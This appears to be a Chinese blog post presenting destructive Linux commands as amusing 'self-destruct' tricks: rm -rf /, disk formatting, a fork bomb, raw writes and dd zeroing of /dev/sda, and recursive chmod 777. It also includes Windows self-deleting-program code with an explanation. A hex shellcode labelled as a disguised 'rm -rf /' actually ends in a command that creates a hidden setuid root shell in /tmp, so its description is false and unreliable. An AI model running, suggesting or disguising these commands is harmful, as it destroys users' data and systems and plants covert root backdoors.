linux定时自毁程序,几条让你的Linux”自爆”的命令

本文分享了几条有趣的 Linux 命令,包括 rm-rf/、mkfs.ext3/dev/sda 和 ddif=/dev/zeroof=/dev/sdabs=1Kcount=100 等,这些命令若不慎执行可能会导致数据丢失甚至系统崩溃。文章强调了不要以 root 权限执行这些命令,并建议读者在尝试前做好备份。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

哈哈哈,最近肥鸡小编在学习shellcode编程,偶尔从书上或网络上发现了几条“猥琐又有趣”的命令,想跟大家分享一下

不懂Linux命令的同学请在家长的配同下测试下面的代码哦~~~

1、rm -rf /

注:此命令将递归并强制删除 /目录下的所有文件。参数-r是递归的意思,-f是强制的意思,这个命令要root权限才能执行哦

以下 rm -rf /的 hex(十六进制)版本,很能迷惑 Linux用户:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p

release */

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”

“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”

“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”

“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”

“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”

“\x6e\x2f\x73\x68\x00\x2d\x63\x00”

“cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;”;

2、mkfs.ext3 /dev/sda

注:这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。

3、   :(){ :|:& };:

注:著名的 fork炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。

让我们来分析一下这段代码:

:()                 # 定义一个叫“:”的过程

{                    # 标记过程内容的开始

: | : &           # 执行“:”这个过程,然后通过管道接到“:”再执行一次,而且每一次执行,都会在后台执行

};                   # 标记过程内容的结束,因为是同一行来写,所以要加上“;”,这样才能接后面的内容

:                     # 执行:

是不是很有趣捏,昨晚贱小编的渣机子昨晚差点自爆了呢~~~~~~~~~~╮( ̄▽ ̄)╭

4、echo uSB > /dev/sda

注:使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。

5、mv /home/yourhomedirectory/* /dev/null

注:此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。/dev/null是设备黑洞

6、chmod 777 -R /

注:整个系统的权限都设置紊乱了,跟rm -rf /有异曲同工之妙啊

以上的来自书里 小编再补充一个:

7、dd if=/dev/zero of=/dev/sda bs=1K count=100

注:用 0 填充 MBR 和磁盘分区表(包括备份分区表)。因为是MBR,所以不重启之前没有任何异常,重启时BIOS引导系统时会报告找不到硬盘。此方法速度之快、隐藏之深,乃 捣乱者居家必备武器也。

ps:这一系列的惨痛教训告诉我们:永远不要用root权限账号来操纵你的爱机啊!

是不是很有趣捏,哈哈,请在尝试之前做好备份哦。噢噢,还有哦,不要用来干坏事哦!!!

本文由网络安全研究室(www.91ri.org)收集并进行补充,转载请注明出处。

自毁程序是一些电脑高手编写的可执行代码,没有现成的。我给个代码你看一下,如果你能看懂就可以用了。面的代码由Gary Nebbett写就.Gary Nebbett乃是WINDOWS NT/2000 NATIVE API REFERENCE的作者.乃NT系统一等一的高手.下面就分析一些他的这段代码. 这段代码在PROCESS没有结束前就将启动PROCESS的EXE文件删除了. int main(int argc, char *argv[]) { HMODULE module = GetModuleHandle(0); CHAR buf[MAX_PATH]; GetModuleFileName(module, buf, sizeof buf); CloseHandle(HANDLE(4)); __asm { lea eax, buf push 0 push 0 push eax push ExitProcess push module push DeleteFile push UnmapViewOfFile ret } return 0; } 现在,我们先看一下堆栈中的东西 偏移 内容 24 0 20 0 16 offset buf 12 address of ExitProcess 8 module 4 address of DeleteFile 0 address of UnmapViewOfFile 调用RET返回到了UnmapViewOfFile,也就是栈里的偏移0所指的地方.当进入UnmapViewOfFile的流程时,栈里见到的是返回地址DeleteFile和HMODUL module.也就是说调用完毕后返回到了DeleteFile的入口地址.当返回到DeleteFile时,看到了ExitProcess的地址,也就是返回地址.和参数EAX,而EAX则是buffer.buffer存的是EXE的文件名.由GetModuleFileName(module, buf, sizeof buf)返回得到.执行了DeleteFile后,就返回到了ExitProcess的函数入口.并且参数为0而返回地址也是0.0是个非法地址.如果返回到地址0则会出错.而调用ExitProcess则应该不会返回. 这段代码的精妙之处在于: 1.如果有文件的HANDLE打开,文件删除就会失败,所以,CloseHandle(HANDLE(4));是十分巧妙的一手.HANDLE4是OS的硬编码,对应于EXE的IMAGE.在缺省情况下,OS假定没有任何调用会关闭IMAGE SECTION的HANDLE,而现在,该HANDLE被关闭了.删除文件就解除了文件对应的一个句柄. 2.由于UnmapViewOfFile解除了另外一个对应IMAGE的HANDLE,而且解除了IMAGE在内存的映射.所以,后面的任何代码都不可以引用IMAGE映射地址内的任何代码.否则就OS会报错.而现在的代码在UnmapViewOfFile后则刚好没有引用到任何IMAGE内的代码. 3.在ExitProcess之前,EXE文件就被删除了.也就是说,进程尚在,而主线程所在的EXE文件已经没了.(WINNT/9X都保护这些被映射到内存的WIN32 IMAGE不被删除.)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值